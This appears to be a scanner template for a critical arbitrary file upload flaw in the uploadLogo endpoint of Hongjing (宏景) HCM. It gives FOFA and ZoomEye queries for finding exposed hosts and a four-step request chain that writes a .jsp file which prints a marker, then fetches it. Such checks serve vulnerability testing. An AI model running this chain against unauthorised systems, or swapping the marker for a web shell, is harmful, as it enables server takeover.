hjsoft-uploadlogo-fileupload: 宏景人力资源信息管理系统 uploadLogo 任意文件上传

id: hjsoft-uploadlogo-fileupload

info:
  name: 宏景人力资源信息管理系统 uploadLogo 任意文件上传
  author: zan8in
  severity: critical
  verified: true
  description: |-
    宏景人力资源信息管理系统uploadLogo存在任意文件上传漏洞，可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。
    FOFA: app="HJSOFT-HCM"
    ZoomEye: app:"宏景 HCM"
  reference:
    - https://mp.weixin.qq.com/s/1h-5ZwCTIg-rU4ydR7NKIQ
  tags: hjsoft,fileupload
  created: 2025/01/01

set:
  rboundary: randomLowercase(8)
  filename: randomLowercase(10)
  randbody: randomLowercase(32)
rules:
  r0:
    request:
      method: GET
      path: /module/system/qrcard/mobilewrite/qrcardmain.jsp
    expression: response.status == 200 && response.headers['set-cookie'].icontains('JSESSIONID')
    output:
      search: '"Set-Cookie: (?P<cookie>.+)".bsubmatch(response.raw_header)'
      cookie: search["cookie"]
  r1:
    request:
      method: POST
      path: /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1
      headers:
        Cookie: "{{cookie}}"
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: |
        ------WebKitFormBoundary{{rboundary}}
        Content-Disposition: form-data; name="path"


        ------WebKitFormBoundary{{rboundary}}
        Content-Disposition: form-data; name="lfType"

        0
        ------WebKitFormBoundary{{rboundary}}
        Content-Disposition: form-data; name="logofile"; filename=""
        Content-Type: image/gif

        <%= "{{randbody}}" %>
        ------WebKitFormBoundary{{rboundary}}
        Content-Disposition: form-data; name="twoFile"; filename=""
        Content-Type: image/gif

        <%= "{{randbody}}" %>
        ------WebKitFormBoundary{{rboundary}}--
    expression: response.status == 200 && response.body.bcontains(b'document.getElementById("pathvalue").value=')
    output:
      search2: '"value=\"(?P<pathname>.+)images\";".bsubmatch(response.body)'
      pathname: search2["pathname"]
  r2:
    request:
      method: POST
      path: /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1
      headers:
        Cookie: "{{cookie}}"
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: |
        ------WebKitFormBoundary{{rboundary}}
        Content-Disposition: form-data; name="path"

        {{pathname}}{{filename}}.jsp
        ------WebKitFormBoundary{{rboundary}}
        Content-Disposition: form-data; name="lfType"

        0
        ------WebKitFormBoundary{{rboundary}}
        Content-Disposition: form-data; name="logofile"; filename=""
        Content-Type: image/gif

        <%= "{{randbody}}" %>
        ------WebKitFormBoundary{{rboundary}}
        Content-Disposition: form-data; name="twoFile"; filename=""
        Content-Type: image/gif

        <%= "{{randbody}}" %>
        ------WebKitFormBoundary{{rboundary}}--
    expression: response.status == 200
  r3:
    request:
      method: GET
      path: /{{filename}}.jsp
    expression: response.status == 200 && response.body.bcontains(bytes(randbody))
expression: r0() && r1() && r2() && r3()